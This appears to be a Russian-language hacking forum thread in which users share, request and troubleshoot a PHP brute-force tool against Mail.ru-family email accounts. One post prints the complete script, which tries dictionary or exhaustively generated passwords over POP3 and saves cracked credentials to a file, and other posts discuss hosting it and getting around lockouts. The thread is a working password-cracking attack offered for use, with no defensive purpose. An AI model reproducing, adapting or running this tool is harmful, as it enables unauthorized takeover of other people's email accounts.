- Поставить права на файлы 777
Никаких сокетов не требуется.
Реализованно конечно не суперски, но работает.
Прокси не сделал, так как они там не требуются, но сделать их никому не составит труда.
Подходящий хостинг - freehostia.com
Смотрите так же
- Rambler.Ru Bruteforce (http://forum.antichat.ru/thread49610.html)
- PHP-Injection--ToolS (http://forum.antichat.ru/thread49676.html)
Если брут работает еще , можешь его перезалить . Заранее благодарен .
crackmail
16.06.2008, 16:11
есть у кого брут то?
пашет он ?
да бруть не бруть -все равно получишь - ...
На майлру не дураки - после нескольких десятков запросов к одному аккаунту - просто блочат
ZloY_MakcNM
06.07.2008, 13:46
так че перезальет ктонить?
crackmail
18.07.2008, 13:45
http://webfile.ru/2098305
но он всеровно не пашет... :(
Залил на платный хост, в файл spisoc.txt вписал свой email, поставил правильный пароль, укузал брутить по списку email, в поле админ вбил второе мыло. Права выставлены на файл good.txt, время работы скрипта неограниченно - и ни чо не происходит... :( help!
Black dead
19.07.2008, 12:16
mff у тя хост не подерживает фукцию отправки писем , с твоего хоста значит только брутить без получения верного пасса по почте
crackmail
19.07.2008, 14:49
ну че работает у кого-нить?
у меня нет...кучу вариантов перепробовал и забил на это дело) до чего-нибудь получше
На платном вроде тоже не пашет
mff у тя хост не подерживает фукцию отправки писем , с твоего хоста значит только брутить без получения верного пасса по почте
на этом хосте проверял скрипты отправки песем, всё работает, правда гдето на 500 банят и нужно ждать 1 час. Хост агава.
KaZ@NoVa
19.07.2008, 17:51
на платном юзайте!) у парнише знакомого пашет всёё!)
подскажите, тогда хоть платный хостинг где это точно работает
че там вооще писать?)
ребята скиньте плз сылку на этот скрипт каторый вы обсуждали все время, а то все сылки битые,
хочу посмотреть и исправить,можете пока этот посмотреть как он...
<html>
<head>
<title>MailBrute By Joker-jar</title>
<meta http-equiv=Content-Type content="text/html; charset=windows-1251">
</head>
<body>
<?
set_time_limit(0);
ignore_user_abort(1);
error_reporting(0);
$servers = Array(
"mail" => "pop3.mail.ru",
"inbox" => "pop3.inbox.ru",
"bk" => "pop3.bk.ru",
"list" => "pop3.list.ru",
);
$pop3port = 110;
$passfile = "pass.txt";
$good = "good.txt";
$bad = "bad.txt";
function CheckPass($pop3server, $username, $pass)
{
global $pop3port;
$fp = fsockopen($pop3server, $pop3port, $errno, $errstr, 30);
if (!$fp)
return false;
$buf = fgets($fp, 128);
if ($buf[0] != "+")
{
fclose($fp);
return false;
}
fputs($fp,"user ".$username."\r\n");
$buf = fgets($fp, 128);
if ($buf[0] != "+")
{
fclose($fp);
return false;
}
fputs($fp,"pass ".$pass."\r\n");
$buf = fgets($fp, 128);
if (strlen($buf) > 3 && $buf[0] == "+")
{
fclose($fp);
return true;
}
fclose($fp);
return false;
}
function genstr($l, $alf)
{
$result = "";
for ($i=0;$i<$l;$i++)
$result .= $alf[0];
return $result;
}
function nextpass($p, $alf)
{
for ($i=0;$i<strlen($p);$i++)
{
if (strpos($alf,$p[$i]) == strlen($alf)-1)
{
$p[$i] = $alf[0];
}
else
{
$p[$i] = $alf[strpos($alf,$p[$i])+1];
return $p;
}
}
$p .= $alf[0];
return $p;
}
if (isset($_POST["name"]))
{
if ($_POST["name"] === "")
{
echo "Отсутствует имя</body></html>";
exit;
}
if (!isset($servers[$_POST["popserver"]]))
{
echo "Неправильно задан pop3 сервер</body></html>";
exit;
}
settype($_POST["minl"],"int");
settype($_POST["maxl"],"int");
if ($_POST["minl"] == 0 || $_POST["maxl"] == 0 || $_POST["maxl"] - $_POST["minl"] < 0)
{
echo "Ошибка в параметрах длины пароля</body></html>";
exit;
}
if ($_POST["dict"] !== "yes" && $_POST["alf"] === "")
{
echo "Алфавит пуст</body></html>";
exit;
}
if ($_POST["dict"] === "yes" && (!file_exists($passfile) || filesize($passfile) == 0))
{
echo "Файл $passfile пуст или отсутствует</body></html>";
exit;
}
if ($_POST["dict"] !== "yes")
{
//Полный перебор
$startpass = genstr($_POST["minl"],$_POST["alf"]);
$endpass = genstr($_POST["maxl"]+1,$_POST["alf"]);
$curpass = $startpass;
while ($curpass != $endpass)
{
if (CheckPass($servers[$_POST["popserver"]], $_POST["name"], $curpass))
{
$f = fopen($good, 'ab');
fwrite($f, $_POST["name"]." : ".$curpass."\r\n");
fclose($f);
exit;
}
else
{
$f = fopen($bad, 'ab');
fwrite($f, $_POST["name"]." : ".$curpass."\r\n");
fclose($f);
}
$curpass = nextpass($curpass,$_POST["alf"]);
}
}
else
{
//Атака по словарю
$passes = file($passfile);
for($i=0; $i<count($passes);$i++)
{
$curpass = trim($passes[$i]);
if (CheckPass($servers[$_POST["popserver"]], $_POST["name"], $curpass))
{
$f = fopen($good, 'ab');
fwrite($f, $_POST["name"]." : ".$curpass."\r\n");
fclose($f);
exit;
}
else
{
$f = fopen($bad, 'ab');
fwrite($f, $_POST["name"]." : ".$curpass."\r\n");
fclose($f);
}
}
}
}
?>
<fieldset style="width: 500">
<legend>Параметры брута</legend>
<form method="POST">
<table border="0">
<tr><td>
<input type="text" name="name" style="width: 100">
</td><td>@
<select name="popserver" style="width: 100">
<option value="mail" selected>mail.ru
<option value="inbox">inbox.ru
<option value="bk">bk.ru
<option value="list">list.ru
</select>
</td></tr>
<tr><td colspan="2"><br>
<input type="radio" name=dict value="yes" checked>Атака по словарю pass.txt<br>
<input type="radio" name=dict value="no">Атака полным перебором
</td></tr>
<tr><td style="text-align: right">
алфавит:
</td><td>
<input type="text" name="alf" style="width: 200" value="abcdefghijklmnopqrstuvwxyz">
</td></tr>
<tr><td style="text-align: right">
мин длина:
</td><td>
<input type="text" name="minl" style="width: 50" value="1">
</td></tr>
<tr><td style="text-align: right">
макс длина:
</td><td>
<input type="text" name="maxl" style="width: 50" value="5">
</td></tr>
<tr><td colspan="2">
<br>
<input type="submit" value="Начать брут и идти спать">
</td></tr>
</table>
</form>
</fieldset>
</body>
</html>
set_time_limit(0); <----без него лутче
ребята скиньте плз сылку на этот скрипт каторый вы обсуждали все время, а то все сылки битые,
хочу посмотреть и исправить,можете пока этот посмотреть как он...
этот, вроде:
http://slil.ru/25303831
имхо на бесплатных хостингах бруты и т.п. лучше незапускать,мороки будет много да и пропускать гуды будет...
Ребята, обясните мне как установить этот скрипт. Я совсем новичок в мира PHP. Я установил скриптб не знаю можеть не установиль но он не работает...Помогите пожайлуста.
На какои линю я должен написать мой эмейл?
maxim_bo
22.11.2009, 20:27
После залития скрипта на хост по фтп во время залития обрывается связь и больше не пускает на хост ни по фтп ни в админку, хост блокируется...
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot